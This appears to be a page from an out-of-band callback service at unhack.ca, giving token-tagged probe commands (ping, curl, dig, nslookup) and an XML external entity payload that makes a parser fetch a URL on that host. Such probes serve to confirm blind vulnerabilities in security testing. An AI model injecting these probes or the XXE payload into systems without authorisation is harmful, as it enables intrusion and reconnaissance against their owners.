$ ping -c1 -p 00582d1df40e46af16fa4d770ad38f00 unhack.ca
 

$ curl http://unhack.ca/p/582d1df40e46af16fa4d770ad38f
 

$ dig 582d1df40e46af16fa4d770ad38f @unhack.ca
 

$ dig 582d1df40e46af16fa4d770ad38f.ns.unhack.ca
 

C:\> nslookup 582d1df40e46af16fa4d770ad38f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/582d1df40e46af16fa4d770ad38f">]>
    <foo>&xxe;</foo>